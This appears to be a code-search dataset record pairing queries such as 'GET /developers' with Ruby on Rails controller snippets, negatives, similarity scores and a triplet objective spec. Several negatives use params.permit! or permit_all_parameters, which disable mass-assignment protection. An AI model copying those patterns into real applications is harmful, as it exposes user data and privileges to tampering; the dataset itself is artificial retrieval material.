"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def list_params\n params.permit(:name)\n end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def url_whitelist; end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69802505",
"0.6781974",
"0.67470175",
"0.67430073",
"0.67350477",
"0.6593221",
"0.6504263",
"0.64988977",
"0.6481794",
"0.64800006",
"0.64568025",
"0.64411247",
"0.6379476",
"0.63765615",
"0.6368045",
"0.6320141",
"0.6300363",
"0.6300057",
"0.62952244",
"0.6294712",
"0.6293856",
"0.6290323",
"0.62816143",
"0.6241851",
"0.6241208",
"0.622036",
"0.62128764",
"0.62110275",
"0.61966056",
"0.61776453",
"0.617547",
"0.6174961",
"0.61654735",
"0.6153256",
"0.61516005",
"0.6149498",
"0.6123234",
"0.6118653",
"0.61077267",
"0.61061186",
"0.6093616",
"0.608318",
"0.6074428",
"0.60650206",
"0.60244286",
"0.6020295",
"0.60155797",
"0.6012826",
"0.6010141",
"0.6010141",
"0.60037106",
"0.600298",
"0.59979576",
"0.5994806",
"0.5994283",
"0.5993927",
"0.5980616",
"0.59667075",
"0.59614897",
"0.59610957",
"0.596071",
"0.5959614",
"0.59554",
"0.59542966",
"0.5946781",
"0.5940262",
"0.5940262",
"0.59401053",
"0.5937168",
"0.5932135",
"0.59293395",
"0.592659",
"0.59202623",
"0.59112674",
"0.59088206",
"0.590716",
"0.59056735",
"0.589997",
"0.5899655",
"0.5898926",
"0.5896042",
"0.589589",
"0.5895867",
"0.58894163",
"0.5884936",
"0.5879227",
"0.58740723",
"0.5871364",
"0.5870148",
"0.5869228",
"0.5868196",
"0.5867967",
"0.5865532",
"0.58653617",
"0.58644646",
"0.58631665",
"0.5862611",
"0.5857609",
"0.58558804",
"0.5853729",
"0.5853025"
] |
0.0
|
-1
|
GET /developers GET /developers.json
|
def index
p 888888888888888
p params[:keyword]
@developers = params[:keyword] ? Developer.where("name ilike ?","%#{params[:keyword]}%") : Developer.all
respond_to do |format|
format.js
format.html
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @developers = Developer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @developers }\n end\n end",
"def developers\n self.sitemap\n self.follow('dtime:dashboard:developers')\n self.get\n self\n end",
"def index\n @developers = Developer.all\n respond_to do |format|\n format.html\n format.xml {render xml: @developers.as_json}\n end\n end",
"def show\n @developer = Developer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @developer }\n end\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def show\n @project_developer = ProjectDeveloper.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project_developer }\n end\n end",
"def show\n @developers = @project.developers.where(project_developers: { is_creator: false })\n end",
"def index\n if(current_user.has_role?(:developer))\n @projects = Project.joins(:developers).where(\"users.id= #{current_user.id}\")\n else\n @projects = Project.all\n end\n render json: @projects\n end",
"def get_developer_detail\n service_response = ClientManagement::DeveloperDetail.new(params).perform\n render_api_response(service_response)\n end",
"def show\n @ms_developer = MsDeveloper.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ms_developer }\n end\n end",
"def info\n get(\"/api-info\")\n end",
"def get_user_info\n get(\"/api/v1/oauth_user_info.json\")\n end",
"def well_known\n render json: {\n authorization_endpoint: \"#{root_url}oauth/authorize\",\n token_endpoint: \"#{root_url}oauth/token\",\n introspection_endpoint: \"#{root_url}oauth/introspect\",\n revocation_endpoint: \"#{root_url}oauth/revoke\",\n scopes_supported: ['user/*.read', 'user/*.write', 'user/*.*'],\n capabilities: ['launch-standalone']\n }\n end",
"def index\n render json: current_org.users\n end",
"def show\n @force = Force.last\n\n respond_to do |format|\n format.html # show.html.erb\n format.json {\n res = {:authorization => \"OAuth #{@force.authorization}\"} #, :server_base => @force.serverBase}\n render :json => res\n }\n end\n end",
"def get_api_json\n response_string = RestClient.get('http://www.swapi.co/api/people/')\n JSON.parse(response_string)\nend",
"def get_json\n params = {}\n params['access_token'] = EXPA.client.get_updated_token\n uri = URI(url_current_person)\n uri.query = URI.encode_www_form(params)\n force_get_response(uri)\n end",
"def developer_details\n authenticate_request('Developer')\n if @current_user && @current_user.is_developer\n details = @current_user.as_json\n details.delete(\"oauth_token\")\n details.delete(\"oauth_expires_at\")\n details.delete(\"password\")\n details.delete(\"password_digest\")\n search_params = { agent_id: @current_user.id } \n api = PropertySearchApi.new(filtered_params: search_params)\n api.modify_filtered_params\n api.apply_filters\n\n ### THIS LIMIT IS THE MAXIMUM. CAN BE BREACHED IN AN EXCEPTIONAL CASE\n #api.query[:size] = 10000\n udprns, status = api.fetch_udprns\n total_count = api.total_count\n details[:properties_count] = total_count\n first_agent = @current_user.branch.assigned_agents.unscope(where: :is_developer).where(is_developer: true).order('id asc').first\n details[:first_agent_invited_agents] = InvitedDeveloper.where(entity_id: first_agent.id).count\n details[:friends_family_count] = InvitedVendor.where(agent_id: @current_user.id).where(source: Vendor::INVITED_FROM_CONST[:family]).count\n render json: details, status: 200\n end\n end",
"def show\n\n active_doc = site_account.api_docs_services.published.find_by_id_or_system_name! params[:id]\n\n json = if active_doc.specification.swagger_2_0?\n active_doc.specification.as_json\n else\n ThreeScale::Swagger::Translator.translate! active_doc.body\n end\n\n respond_with json\n end",
"def return_developer_model\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/response/developer'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n Developer.from_hash(decoded)\n end",
"def show\n @welcom_development = WelcomDevelopment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @welcom_development }\n end\n end",
"def show\n @development = Development.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @development }\n end\n end",
"def show\n if current_api_user.id == @user.id\n render json: @user.as_json(except: [:updated_at])\n else\n render json: @user.as_json(except: [:google_id, :updated_at])\n end\n end",
"def index\n authorize! :index, Employee\n if current_employee.admin?\n @developers = @organization.employees.developers\n else\n raise CanCan::AccessDenied.new(\"Not authorized!\", :read, Employee)\n end\n end",
"def new\n @development = Development.new\n @development.developer = current_user\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @development }\n end\n end",
"def show\n @developers = @project.users.developers\n @qas = @project.users.qas\n end",
"def users_for_a_project\n uri = \"#{@api_url}/#{@project_id}/users?access_token=#{@access_token}\"\n get uri\n end",
"def apiCall(token)\n # Authorize the client and construct a Google+ service.\n $client.authorization.update_token!(token)\n plus = $client.discovered_api('plus', 'v1')\n\n # Get the list of people as JSON and return it.\n response = $client.execute!(plus.people.get, :userId => 'me').body\n puts response.inspect\nend",
"def index\n\t\trender json: {\n\t\t\terror: nil,\n\t\t\tdata: @current_user.api_hash\n\t\t}\n\tend",
"def show\n render json: @api_user\n end",
"def overview\n request_uri = \"#{@api_endpoint}/#{@key}\"\n HTTParty.get(request_uri)\n end",
"def overview\n request_uri = \"#{@api_endpoint}/#{@key}\"\n HTTParty.get(request_uri)\n end",
"def show\n @serviceorg = Serviceorg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @serviceorg }\n end\n end",
"def info(url)\n rest = RestClient::Request.execute(\n method: :get,\n url: url,\n user: ENV['USER'],\n password: ENV['KEY'],\n headers: {\"Content-Type\" => \"application/json\"}\n )\n JSON.parse(rest, :symbolize_names => true)\n rescue RestClient::Exception\n \"Sorry something went wrong with the API\"\n end",
"def info(kind)\n login_as :place1_admin\n get :info, :kind => kind\n\n # See if the response is success\n assert_equal \"200\", @response.code\n\n return JSON.parse(@response.body)\n end",
"def show\n @requirement = @project.requirements\n @developers = Developer.by_availability\n end",
"def show\n @users = User.all\n json_response(@users)\n end",
"def index\n apis = site_account.api_docs_services\n .published\n .with_system_names((params[:services] || \"\").split(\",\"))\n .select{ |api| api.specification.swagger_1_2? }\n\n respond_with({\n swaggerVersion: \"1.2\",\n apis: apis.map!{ |service| swagger_spec_for(service) },\n basePath: \"#{request.protocol}#{request.host}\"\n })\n end",
"def index\n head 404\n # @api_v1_followers = Api::V1::Follower.all\n\n # render json: @api_v1_followers\n end",
"def show\n @api_client = ApiClient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_client }\n end\n end",
"def org_show_data\n org = Organization.find(params[:org])\n\n @data = {\n name: org.name,\n website: org.website,\n logo_link: org.logo_link,\n users: user_names_and_emails_from_org(org)\n }\n\n render json: @data\n end",
"def show\n @my_studio_client = MyStudio::Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_studio_client }\n end\n end",
"def test_get_user_list\n if Rails.env.development?\n render json: User.all.map { |user| user.as_json(only: [:id, :name], include_root: false) }\n end\n end",
"def index\n clients = request do\n api.request(\n :expects => 200,\n :headers => headers,\n :method => :get,\n :path => \"/oauth/clients\"\n ).body\n end\n styled_header(\"OAuth Clients\")\n styled_array(clients.map { |client|\n [client[\"name\"], client[\"id\"], client[\"redirect_uri\"]]\n })\n end",
"def api_keys; rest_query(:api_key); end",
"def api_keys; rest_query(:api_key); end",
"def index\n if(current_user.has_role?(:developer))\n @todos = Todo.where(developer_id: current_user.id, project_id: params[:project_id])\n else\n @todos = Todo.where(project_id: params[:project_id])\n end\n render json: @todos\n end",
"def show\t\t\n\t\t@app = Application.find_by_id(params[:id])\n\t\t@key = ApiKey.find_by_application_id(@app)\n\t\tis_owner_of_application(@app.developer)\n\tend",
"def show\n user = User.find(params[:id])\n render json: user.to_json(\n :include => [:topics, {:meetups => {:include => :topic}}, :comments])\n end",
"def info\n oauth_response = access_token.get \"/api/v1/users/current.json\"\n JSON.parse(oauth_response.body)\n end",
"def show\n json = self.as_json(only: [:created_at, :version])\n json['url'] = doi_url\n json\n end",
"def show\n @client = basic_connect\n @user_info = @client.user_info['user']\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_token }\n end\n end",
"def index\n @devices = Device.where(:user_id, auth_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @devices }\n end\n end",
"def info\n get '/'\n end",
"def index # testing purposes only\n applications = Application.includes(:user).all\n\n render json: applications\n end",
"def show\n organization = current_user.organizations.find(params[:id])\n if organization\n render json: organization, status: 200\n else\n head 404\n end\n end",
"def index\n @apps = @client.apps\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def show\n render json: @api_v1_todo\n end",
"def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend",
"def view\n res = @client.get(path)\n @attributes = res.json if res.success?\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def index\n @api_v1_user_device_infos = Api::V1::UserDeviceInfo.all\n end",
"def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"def show\n #TODO - only admin should be access people besides themselves\n @events = @user.events.all\n respond_to do |format|\n format.html\n format.json { render :json => { :user => @user } }\n end\n end",
"def major_developments_with_http_info(symbol, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.major_developments ...'\n end\n # verify the required parameter 'symbol' is set\n if @api_client.config.client_side_validation && symbol.nil?\n fail ArgumentError, \"Missing the required parameter 'symbol' when calling DefaultApi.major_developments\"\n end\n # resource path\n local_var_path = '/major-development'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'symbol'] = symbol\n query_params[:'from'] = opts[:'from'] if !opts[:'from'].nil?\n query_params[:'to'] = opts[:'to'] if !opts[:'to'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'MajorDevelopments' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#major_developments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def api_keys\n rest_query(:api_key)\n end",
"def show\n render_result('Current API has no definition for just calling /docs. Call /docs/changes or /docs/deletes')\n end",
"def index\n head 404\n # @api_v1_followings = Api::V1::Following.all\n\n # render json: @api_v1_followings\n end",
"def index\n auth_response = plaid_client.auth.get(access_token)\n render json: auth_response.to_json\n end",
"def show\n request = Request.includes(:user).find_by_id(params[:id])\n if request\n render json: request, :include => {\n :user => {\n :only => [:id, :firstname, :lastname, :email]\n },\n :volunteers => {\n :only => [:id, :user_id, :created_at],\n :include => {\n :user => {\n :only => [:id, :firstname, :lastname, :email]\n }\n }\n }\n },\n status: :ok\n else \n render json: {\n status: 'error',\n message: 'Request not found',\n },\n status: :unprocessable_entity\n end\n end",
"def rest_get(url)\n JSON.parse(RestClient.get(url))\n end",
"def get(path, data = {})\n self.class.get path, :query => data.merge(:u => access_token)\n end",
"def show\n respond_to do |format|\n format.html\n format.json\n format.json_api { render json: @user }\n end\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def show\n @external_organization = ExternalOrganization.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @external_organization }\n end\n end",
"def get_projects\n me = request('/services/v5/me')\n me['projects']\n end",
"def show\n @personal_info = @user.personal_info\n @user = current_user.id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def overview_json\n safe_params = params.permit(:force_querying_on_demand)\n force_querying_on_demand = safe_params.has_key?(:force_querying_on_demand)\n query = SchoolOverviewQueries.new(force_querying_on_demand: force_querying_on_demand)\n overview_json = query.json_for_overview(current_educator, @school)\n\n render json: overview_json\n end",
"def show\n @api_version = ApiVersion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_version }\n end\n end",
"def index\n @devices = Device.all\n render json: @devices\n end",
"def show\n get_context!\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @deploy_heroku_api_key }\n end\n end",
"def interesting(options = {})\n response = Typhoeus::Request.get(\"#{DARKSKY_API_URL}/interesting/#{@api_key}\", DEFAULT_OPTIONS.dup.merge(options))\n JSON.parse(response.body) if response.code == 200 \n end",
"def show\n\t\t# Get user id from the params\n\t\tuser_id = params[:user_id]\n\t\t# Get information from couch and neo4j\n\t\tcouch_info = {:dummy => \"hello\"}\n\t\tgraph_info = {:basic_stats => \"sadasd\"} \n\n\t\t# Return structure\n\t\trender json: user_show_json(couch_info, graph_info)\n\tend",
"def list_users_for_all_tenants(args = {}) \n get(\"/users.json/global\", args)\nend",
"def list_users_for_all_tenants(args = {}) \n get(\"/users.json/global\", args)\nend",
"def show\n @api = Api.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api }\n end\n end",
"def index\n @clients = current_user.clients\n render json: @clients\n end",
"def index\n @users = User.all\n binding.pry\n require 'net/http'\n result = Net::HTTP.get('makesys.net', '/')\n p result\n end",
"def show\n @personal_info = current_user.personal_info\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def index\n if current_user.super_admin?\n @organisations = Organisation.all.order(:id)\n render json: @organisations.to_json\n else\n head :no_content\n end\n end",
"def new\n @project_developer = ProjectDeveloper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_developer }\n end\n end",
"def list\n get 'projects'\n end",
"def show\n @api = Api.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @api }\n end\n end",
"def apis; end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @devans }\n end\n end",
"def index\n users = User.all\n # cheer_ups = CheerUp.all\n render json: users\n end"
] |
[
"0.7118702",
"0.6830076",
"0.6715157",
"0.6593458",
"0.65402824",
"0.65402824",
"0.65402824",
"0.65402824",
"0.65402824",
"0.65402824",
"0.64019203",
"0.63221776",
"0.62486964",
"0.62369716",
"0.61708885",
"0.61533433",
"0.60906136",
"0.6078302",
"0.5995099",
"0.5963012",
"0.593428",
"0.5896033",
"0.5889458",
"0.5874808",
"0.58614576",
"0.5852847",
"0.58312815",
"0.58247143",
"0.58006966",
"0.5799466",
"0.57867205",
"0.57702714",
"0.5765563",
"0.5750469",
"0.57461363",
"0.57251775",
"0.57251775",
"0.5715557",
"0.57009864",
"0.5661988",
"0.566098",
"0.5635319",
"0.56283164",
"0.5618197",
"0.5616021",
"0.56152123",
"0.5604761",
"0.55970246",
"0.55965805",
"0.55962723",
"0.55962723",
"0.55846334",
"0.557323",
"0.5562734",
"0.55613095",
"0.55491704",
"0.55467963",
"0.55437195",
"0.55417556",
"0.553744",
"0.55139726",
"0.5513068",
"0.55122733",
"0.5509689",
"0.5486403",
"0.5479502",
"0.54777145",
"0.5476216",
"0.547161",
"0.5465721",
"0.5454907",
"0.54515326",
"0.54468733",
"0.54409665",
"0.5433739",
"0.5431667",
"0.5427794",
"0.54177606",
"0.54128224",
"0.5412208",
"0.54114276",
"0.5411426",
"0.5411065",
"0.5408166",
"0.5405232",
"0.54046965",
"0.54041713",
"0.5399779",
"0.53947866",
"0.53947866",
"0.53924334",
"0.5392302",
"0.5389922",
"0.5387058",
"0.5381674",
"0.53800285",
"0.5372515",
"0.5363854",
"0.53636134",
"0.536302",
"0.5346666"
] |
0.0
|
-1
|
GET /developers/1 GET /developers/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @developers = Developer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @developers }\n end\n end",
"def show\n @developer = Developer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @developer }\n end\n end",
"def show\n @project_developer = ProjectDeveloper.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project_developer }\n end\n end",
"def index\n @developers = Developer.all\n respond_to do |format|\n format.html\n format.xml {render xml: @developers.as_json}\n end\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def developers\n self.sitemap\n self.follow('dtime:dashboard:developers')\n self.get\n self\n end",
"def show\n @developers = @project.developers.where(project_developers: { is_creator: false })\n end",
"def show\n @ms_developer = MsDeveloper.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ms_developer }\n end\n end",
"def get_developer_detail\n service_response = ClientManagement::DeveloperDetail.new(params).perform\n render_api_response(service_response)\n end",
"def index\n if(current_user.has_role?(:developer))\n @projects = Project.joins(:developers).where(\"users.id= #{current_user.id}\")\n else\n @projects = Project.all\n end\n render json: @projects\n end",
"def show\n\n active_doc = site_account.api_docs_services.published.find_by_id_or_system_name! params[:id]\n\n json = if active_doc.specification.swagger_2_0?\n active_doc.specification.as_json\n else\n ThreeScale::Swagger::Translator.translate! active_doc.body\n end\n\n respond_with json\n end",
"def show\n @development = Development.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @development }\n end\n end",
"def show\n @welcom_development = WelcomDevelopment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @welcom_development }\n end\n end",
"def info\n get(\"/api-info\")\n end",
"def show\n @api_version = ApiVersion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_version }\n end\n end",
"def show\n @api_client = ApiClient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_client }\n end\n end",
"def show\n @my_studio_client = MyStudio::Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_studio_client }\n end\n end",
"def new\n @development = Development.new\n @development.developer = current_user\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @development }\n end\n end",
"def index\n render json: current_org.users\n end",
"def get_api_json\n response_string = RestClient.get('http://www.swapi.co/api/people/')\n JSON.parse(response_string)\nend",
"def show\n render json: @api_v1_todo\n end",
"def return_developer_model\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/response/developer'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n Developer.from_hash(decoded)\n end",
"def index\n apis = site_account.api_docs_services\n .published\n .with_system_names((params[:services] || \"\").split(\",\"))\n .select{ |api| api.specification.swagger_1_2? }\n\n respond_with({\n swaggerVersion: \"1.2\",\n apis: apis.map!{ |service| swagger_spec_for(service) },\n basePath: \"#{request.protocol}#{request.host}\"\n })\n end",
"def show\n @requirement = @project.requirements\n @developers = Developer.by_availability\n end",
"def show\t\t\n\t\t@app = Application.find_by_id(params[:id])\n\t\t@key = ApiKey.find_by_application_id(@app)\n\t\tis_owner_of_application(@app.developer)\n\tend",
"def show\n @force = Force.last\n\n respond_to do |format|\n format.html # show.html.erb\n format.json {\n res = {:authorization => \"OAuth #{@force.authorization}\"} #, :server_base => @force.serverBase}\n render :json => res\n }\n end\n end",
"def show\n @serviceorg = Serviceorg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @serviceorg }\n end\n end",
"def show\n @developers = @project.users.developers\n @qas = @project.users.qas\n end",
